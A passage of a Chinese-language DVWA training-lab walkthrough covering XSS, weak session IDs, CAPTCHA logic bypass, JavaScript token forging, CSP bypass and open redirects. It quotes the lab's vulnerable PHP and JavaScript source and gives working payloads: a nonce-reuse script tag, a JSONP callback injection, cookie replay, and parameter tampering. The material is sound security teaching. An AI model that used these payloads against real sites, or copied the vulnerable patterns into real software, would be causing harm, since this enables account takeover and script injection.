$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

message处与medium难度没有做太多的变化,因此不考虑这里,name处对script标签做了各种过滤,我们考虑换标签img
图片绕过形成xss

impossible
源码分析:

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );

// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

这里对name和message都是用了htmlspecialchars函数做了过滤,还添加了token值进一步提高了安全性。

DVWA – Weak Session ID(弱会话)

弱会话是指用户访问服务器的时候,一般服务器都会分配一个身份证session id给用户,用于标识。用户拿到session id后就会保存到cookie中,之后拿cookie在访问服务器时,服务器就知道你是谁了。

但session id过于简单就会容易被人伪造。根本不需要知道用户的密码就能访问用户服务器的内容。

low
源码分析:


<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id'])) {
$_SESSION['last_session_id'] = 0;
}
//服务器每次生成的session_id加1给客户端
$_SESSION['last_session_id']++;
$cookie_value = $_SESSION['last_session_id'];
setcookie("dvwaSession", $cookie_value);
}
?>

漏洞复现:
如果session中的last_session_id不存在就设为0,生成cookie时就在cookies上dvwasessionId+1
首先点击按钮用burp抓包
抓包
将抓到的cookie复制下来:
Cookie: dvwaSession=1; PHPSESSID=ha1df1ke8hmua8h2d9pd7j11qb; security=low
然后新打开一个页面,将刚才复制的cookie加入就可以实现直接登录不需要输密码(在这里需要清楚浏览器的cookie值)
后续流程

medium
源码分析:


<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = time();
//返回当前时间的Unix时间戳,并格式化为日期
//time() 函数返回自 Unix 纪元(January 1 1970 00:00:00 GMT)起的当前时间的秒数
setcookie("dvwaSession", $cookie_value);
}
?>

这里通过时间戳来生成的session,可以通过时间戳转换工具生成时间戳绕过 时间戳生成工具
漏洞复现:
抓包,保存cookie信息
获取cookie信息

Cookie: dvwaSession=1679300781; PHPSESSID=9g6n98glasehppc1148qa3hdr6; security=medium

打开新标签页清空cookie信息,抓包访问靶场的弱会话地址,修改包中的cookie信息
改包放行
成功访问

high
源码分析:

<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id_high'])) {
$_SESSION['last_session_id_high'] = 0;
}
$_SESSION['last_session_id_high']++;
$cookie_value = md5($_SESSION['last_session_id_high']);
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
/*
setcookie(name,value,expire,path,domain,secure,httponly)
参数 描述
name 必需。规定cookie的名称。
value 必需。规定cookie的值。
expire 可选。规定cookie的有效期。
path 可选。规定cookie的服务器路径。
domain 可选。规定cookie的域名。
secure 可选。规定是否通过安全的HTTPS连接来传输cookie。
httponly 可选。规定是否Cookie仅可通过HTTP协议访问。
*/
}

?>

发现sessionId,这种使用了md5解密进行尝试发现是个2,猜测可能是low级别上进行md5加密
查看
查看session的值是low的进行md5加密
其余操作步骤和low相同

impossible
源码分析:

<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = sha1(mt_rand() . time() . "Impossible");
//随机数+时间戳+固定字符impossible在进行sha1运算
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
}
?>

这里$cookie_value采用随机数+时间戳+固定字符串”Impossible”,再进行sha1运算,完全不能猜测到dvwaSession的值。

DVWA – Insecure CAPTCHA(不安全的验证码)

不安全的验证码(insecure captcha)全程Completely Automated Public Turing Test to Tell Computers and Humans Apart,中文名是全自动区分计算机和人类的图灵测试,关于这一项其实是在验证码的流程出现了逻辑漏洞。
验证流程:
验证流程

在这里由于访问不到Google的验证码api,过于麻烦还需要翻墙,只需要明白漏洞原理即可。

Low
源码分析:

<?php
//第一阶段,验证身份 验证阶段step为1
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form 隐藏验证码表单
$hide_form = true;

// Get input 得到用户的新密码及确认密码
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check CAPTCHA from 3rd party 使用第三方进行身份验证
/*
recaptcha_check_answer($privkey,$remoteip, $challenge,$response)
参数$privkey是服务器申请的private key,$remoteip是用户的ip,$challenge是recaptcha_challenge_field字段的值,来自前端页面 ,$response是recaptcha_response_field字段的值。函数返回ReCaptchaResponse class的实例,ReCaptchaResponse类有2个属性 :
$is_valid是布尔型的,表示校验是否有效,
$error是返回的错误代码。
*/
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key'],
$_POST['g-recaptcha-response']
);

// Did the CAPTCHA fail? 验证失败时
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match? 验证通过时,匹配两次密码是否一致
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}
//第二阶段,检查两次密码是否一致,并更新密码
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

源码分析总共分为两个阶段:

  1. 对用户的身份进行验证,step为1,验证成功后才能进行密码修改
  2. step为2,两次输入的密码一致可以进行修改

我们考虑直接跳过第一阶段,输入一密码一致,burp抓包修改step的值进行直接改密码。

medium
源码分析:

<?php

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);

// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"hidden\" name=\"passed_captcha\" value=\"true\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
//对参数passed_captcha进行验证,如果通过身份验证,该参数就为true
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check to see if they did stage 1
if( !$_POST[ 'passed_captcha' ] ) {
$html .= "<pre><br />You have not passed the CAPTCHA.</pre>";
$hide_form = false;
return;
}

// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

与Low相比怎加了一个passed_capt,当passed_capt为true时可以修改密码,同样使用抓包修改相关值

high
源码分析:

?php

if( isset( $_POST[ 'Change' ] ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);
//(通过身份验证条件)或者 (参数g-recaptcha-respon为hidd3n_valu3并且参数 HTTP_USER_AGE为 reCAPTC)就算是验证通过了
if (
$resp ||
(
$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
)
){
// CAPTCHA was correct. Do both new passwords match?
if ($pass_new == $pass_conf) {
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for user
echo "<pre>Password Changed.</pre>";

} else {
// Ops. Password mismatch
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}

} else {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以看到,验证过程部分步走合在了一个阶段里了,服务器的验证逻辑时当谷歌验证返回的结果是false并且参数ecaptcha_response_field不等于hidd3n_valu3(或者http包头的User-Agent参数不等于(reCAPTCHA)时,就认为验证码输入错误,反之则认为已经通过了验证码的检查。搞清楚了验证逻辑,剩下就是伪造绕过了,由于$resp参数我们无法控制,所以重心放在参数recaptcha_response_field、User-Agent上。

impossible
这个级别的代码增加了token机制防御csrf攻击,利用pdo技术防护sql注入,验证过程是一部分同时需要输入以前的密码,进一步加强了身份认证。

DVWA – Javascript

这里的JavaScript其实指的是JavaScript Attack也就是js攻击。JavaScript是一种基于对象和事件驱动的、具有安全性的脚本语言。是一种解释型语言(代码不需要预编译)。通常JavaScript脚本是通过嵌入html中来实现自身的功能的。

Low
源码分析:

<?php
$page[ 'body' ] .= <<<EOF
<script>

/*
MD5 code from here
https://github.com/blueimp/JavaScript-MD5
*/

!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<<t|n>>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<<r%32,n[14+(r+64>>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e<n.length;e+=16)i=l,a=g,d=v,h=m,g=f(g=f(g=f(g=f(g=c(g=c(g=c(g=c(g=u(g=u(g=u(g=u(g=o(g=o(g=o(g=o(g,v=o(v,m=o(m,l=o(l,g,v,m,n[e],7,-680876936),g,v,n[e+1],12,-389564586),l,g,n[e+2],17,606105819),m,l,n[e+3],22,-1044525330),v=o(v,m=o(m,l=o(l,g,v,m,n[e+4],7,-176418897),g,v,n[e+5],12,1200080426),l,g,n[e+6],17,-1473231341),m,l,n[e+7],22,-45705983),v=o(v,m=o(m,l=o(l,g,v,m,n[e+8],7,1770035416),g,v,n[e+9],12,-1958414417),l,g,n[e+10],17,-42063),m,l,n[e+11],22,-1990404162),v=o(v,m=o(m,l=o(l,g,v,m,n[e+12],7,1804603682),g,v,n[e+13],12,-40341101),l,g,n[e+14],17,-1502002290),m,l,n[e+15],22,1236535329),v=u(v,m=u(m,l=u(l,g,v,m,n[e+1],5,-165796510),g,v,n[e+6],9,-1069501632),l,g,n[e+11],14,643717713),m,l,n[e],20,-373897302),v=u(v,m=u(m,l=u(l,g,v,m,n[e+5],5,-701558691),g,v,n[e+10],9,38016083),l,g,n[e+15],14,-660478335),m,l,n[e+4],20,-405537848),v=u(v,m=u(m,l=u(l,g,v,m,n[e+9],5,568446438),g,v,n[e+14],9,-1019803690),l,g,n[e+3],14,-187363961),m,l,n[e+8],20,1163531501),v=u(v,m=u(m,l=u(l,g,v,m,n[e+13],5,-1444681467),g,v,n[e+2],9,-51403784),l,g,n[e+7],14,1735328473),m,l,n[e+12],20,-1926607734),v=c(v,m=c(m,l=c(l,g,v,m,n[e+5],4,-378558),g,v,n[e+8],11,-2022574463),l,g,n[e+11],16,1839030562),m,l,n[e+14],23,-35309556),v=c(v,m=c(m,l=c(l,g,v,m,n[e+1],4,-1530992060),g,v,n[e+4],11,1272893353),l,g,n[e+7],16,-155497632),m,l,n[e+10],23,-1094730640),v=c(v,m=c(m,l=c(l,g,v,m,n[e+13],4,681279174),g,v,n[e],11,-358537222),l,g,n[e+3],16,-722521979),m,l,n[e+6],23,76029189),v=c(v,m=c(m,l=c(l,g,v,m,n[e+9],4,-640364487),g,v,n[e+12],11,-421815835),l,g,n[e+15],16,530742520),m,l,n[e+2],23,-995338651),v=f(v,m=f(m,l=f(l,g,v,m,n[e],6,-198630844),g,v,n[e+7],10,1126891415),l,g,n[e+14],15,-1416354905),m,l,n[e+5],21,-57434055),v=f(v,m=f(m,l=f(l,g,v,m,n[e+12],6,1700485571),g,v,n[e+3],10,-1894986606),l,g,n[e+10],15,-1051523),m,l,n[e+1],21,-2054922799),v=f(v,m=f(m,l=f(l,g,v,m,n[e+8],6,1873313359),g,v,n[e+15],10,-30611744),l,g,n[e+6],15,-1560198380),m,l,n[e+13],21,1309151649),v=f(v,m=f(m,l=f(l,g,v,m,n[e+4],6,-145523070),g,v,n[e+11],10,-1120210379),l,g,n[e+2],15,718787259),m,l,n[e+9],21,-343485551),l=t(l,i),g=t(g,a),v=t(v,d),m=t(m,h);return[l,g,v,m]}function a(n){var t,r="",e=32*n.length;for(t=0;t<e;t+=8)r+=String.fromCharCode(n[t>>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t<r.length;t+=1)r[t]=0;var e=8*n.length;for(t=0;t<e;t+=8)r[t>>5]|=(255&n.charCodeAt(t/8))<<t%32;return r}function h(n){return a(i(d(n),8*n.length))}function l(n,t){var r,e,o=d(n),u=[],c=[];for(u[15]=c[15]=void 0,o.length>16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r<n.length;r+=1)t=n.charCodeAt(r),e+="0123456789abcdef".charAt(t>>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}"function"==typeof define&&define.amd?define(function(){return A}):"object"==typeof module&&module.exports?module.exports=A:n.md5=A}(this);

function rot13(inp) {
return inp.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c<="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);});
}

function generate_token() {
var phrase = document.getElementById("phrase").value;
document.getElementById("token").value = md5(rot13(phrase));
}

generate_token();
</script>
EOF;
?>

我们知道中间的一大堆使用md5生成了加密token,和之前的源码不同在于这次的token实在前端生成的,generate_token()函数的作用是获取phrase参数中的值,将其的rot13加密的结果进行md5加密作为token值

漏洞复现:
尝试

medium
源码分析:


<?php
$page[ 'body' ] .= '<script src="' . DVWA_WEB_PAGE_TO_ROOT . 'vulnerabilities/javascript/source/medium.js"></script>';
?>
function do_something(e){for(var t="",n=e.length-1;n>=0;n--)t+=e[n];return t}setTimeout(function(){do_elsesomething("XX")},300);function do_elsesomething(e){document.getElementById("token").value=do_something(e+document.getElementById("phrase").value+"XX")}

将phrase逆序输出,然后在前后分别添加 XX 作为规律所以当我们输入 success 的话,对应的 token 应该就是XXsseccusXX,这里也就是加密方式替换了而已。

漏洞复现:
依旧使用刚才的方法将加密方式的函数更换为do_elsesomething(“XX”);
更换函数

high
源码分析:

<?php
$page[ 'body' ] .= '<script src="' . DVWA_WEB_PAGE_TO_ROOT . 'vulnerabilities/javascript/source/high.js"></script>';
?>

high.js中用了js混淆,打开逆混淆网址,以调整js,获取到正确的js分析执行顺序
漏洞复现:
我们一样在控制台采用token_part_1(“ABCD”,44);和token_part_2(“XX”);
成功执行

DVWA – CSP Bypass(csp绕过)

csp(内容安全策略)用于定义脚本和其他资源可以从何处加载或执行,本模块根据开发人员开发时常出现的错误来绕过该策略。这些漏洞都不是csp中的实际漏洞,都是实现csp的方式中的漏洞。绕过内容安全策略并在页面执行JavaScript。

内容安全测略(csp),为了缓解大部分潜在的xss问题,浏览器的扩展程序系统引入了csp,通过引入一些相当严格的策略使得扩展程序在默认情况下更安全,开发者可以创建并强制一些规则管理网站允许加载的内容。csp以白名单机制对网站加载或执行的资源起作用,在网页中策略通过http头信息或者meta元素定义。

Content-Security-Policy:配置好并启用后,不符合CSP的外部资源就会被阻止加载。
Content-Security-Policy-Report-Only表示不执行限制选项,只是记录违反限制的行为。它必须与resport-uri选项配合使用

CSP虽然提供了强大的安全保护,但它也使eval()及相关函数被禁用,内嵌的JavaScript代码将不会执行,只能通过白名单来加载远程脚本,如果使用csp保护网站开发者就不得不花费大量时间分离内嵌的js代码和调整。

Low
源码分析:

<?php

$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, hastebin.com, jquery and google analytics.

header($headerCSP);

# These might work if you can't create your own for some reason
# https://pastebin.com/raw/R570EE00
# https://www.toptal.com/developers/hastebin/raw/cezaruzeka

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
<script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';

源码定义了一个变量headerCSP放置了一些url,使用scriptsrc指令指向一个外部JavaScript文件,header()函数以原始形式将http标头发送到客户端或浏览器。也就是说源码对http头定义了csp标签从而定义了可接受的外部JavaScript资源的白名单,通过抓包可以知道是那些网站。

pastebin是一个快速分享文本内容的网站,加入文本的内容是一段JavaScript代码,网页就会把改代码包含进来。
漏洞复现:
我们在pastebin写一段js代码
写js
然后将url注入实现攻击:
测试
但没有弹窗弹窗,查询发现
错误
问题暂时没找到解决方法

medium
源码分析:

<?php

$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";

header($headerCSP);

// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");

# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';

这个级别csp策略尝试使用nonce来防止攻击者添加内联脚本,HTTP头信息中的script-src的合法来源发生了变化。script-src还可以设置一些特殊值,unsafe-inline 允许执行页面内嵌的 script 标签和事件监听函数,nonce 值会在每次 HTTP 回应给出一个授权 token。

unsafe-inline:当csp有Unsafe-inline时, 并且受限于csp无法直接引入外部js, 不过当frame-src
为self, 或者能引入当前域的资源的时候, 即有一定可能能够引入外部js

nonce-source,仅允许特定的内联脚本块。如源码中:nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=’

漏洞复现:
现在就不是从外界导入 JavaScript 资源了,而是直接通过内联 JavaScript 代码,注入时直接令 nonce 为设定好的值即可。
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
成功

high
源码分析:

<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";

header($headerCSP);

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>

<script src="source/high.js"></script>
';

function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp.php?callback=solveSum";
document.body.appendChild(s);
}

function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}

var solve_button = document.getElementById ("solve");

if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}

可以看到后端代码除了自身源其余外部资源全部过滤,但是前端添加了一个函数solveSum函数没有对参数做任何处理。即在点击网页的按钮使js生成一个script标签,src指向source/jsonp.php?callback=solveNum。document对象使我们可以从脚本中对HTML页面中的所有元素进行访问,createElement()方法通过指定名称创建一个元素,body属性提供对< body >元素的直接访问,对于定义了框架集的文档将引用最外层的< frameset >。appendChild()方法可向节点的子节点列表的末尾添加新的子节点,也就是网页会把 “source/jsonp.php?callback=solveNum” 加入到DOM中。源码中定义了solveNum的函数函数传入参数 obj,如果字符串 “answer” 在obj 中就会执行。getElementById()方法可返回对拥有指定ID的第一个对象的引用,innerHTML属性设置或返回表格行的开始和结束标签之间的HTML。这里的script标签会把远程加载的solveSum({“answer”:”15”})当作js代码执行,然后这个函数就会在页面显示答案。

漏洞复现:
注意到需要向source/jsonp.php传入参数,这个参数没有进行任何的过滤,因此我们可以通过这个参数进行注入。
查看参数
测试
由于是post提交我们用hackbr添加参数,我们构造参数注入
include=<script src="source/jsonp.php?callback=alert('xss');"></script>
成功绕过弹出窗口

impossible
源码分析:

<?php

$headerCSP = "Content-Security-Policy: script-src 'self';";

header($headerCSP);

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Unlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call.</p><p>The CSP settings only allow external JavaScript on the local server and no inline code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>

<script src="source/impossible.js"></script>
';

function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp_impossible.php";
document.body.appendChild(s);
}

function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}

var solve_button = document.getElementById ("solve");

if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}

与high等级不同,impossible等级执行JSONP调用,但不使用callback参数,而是硬编码要调用的函数。CSP设置只允许本地服务器上的外部javascript,不允许内联代码。

DVWA – Open HTTP Redirect

这和pikachu靶场的不安全的url重定向类似

Low
源码分析:

<?php

if (array_key_exists ("redirect", $_GET) && $_GET['redirect'] != "") {
header ("location: " . $_GET['redirect']);
exit;
}

http_response_code (500);
?>
<p>Missing redirect target.</p>
<?php
exit;
?>

漏洞复现:
未作任何处理我们直接在参数中拼接http://xxx.com即可重定向
找位置
成功跳转

medium
源码分析:

<?php

if (array_key_exists ("redirect", $_GET) && $_GET['redirect'] != "") {
if (preg_match ("/http:\/\/|https:\/\//i", $_GET['redirect'])) {
http_response_code (500);
?>
<p>Absolute URLs not allowed.</p>
<?php
exit;
} else {
header ("location: " . $_GET['redirect']);
exit;
}
}

http_response_code (500);
?>
<p>Missing redirect target.</p>
<?php
exit;
?>

漏洞复现:
这里使用正则对http://https://头进行检验我们可以让他访问本地的一些文件如phpinfo页面
访问本地
也可以使用相对网址将页面带到百度将http:或者https去掉直接使用//baidu.com
跳转

high
源码分析:

<?php

if (array_key_exists ("redirect", $_GET) && $_GET['redirect'] != "") {
if (strpos($_GET['redirect'], "info.php") !== false) {
header ("location: " . $_GET['redirect']);
exit;
} else {
http_response_code (500);
?>
<p>You can only redirect to the info page.</p>
<?php
exit;
}
}

http_response_code (500);
?>
<p>Missing redirect target.</p>
<?php
exit;
?>

漏洞复现:
这里使用strpos函数检测参数中是否有info.php我们可以在参数中添加一个变量指定info.php来绕过
绕过
成功跳转

impossible
源码分析:

?php

$target = "";

if (array_key_exists ("redirect", $_GET) && is_numeric($_GET['redirect'])) {
switch (intval ($_GET['redirect'])) {
case 1:
$target = "info.php?id=1";
break;
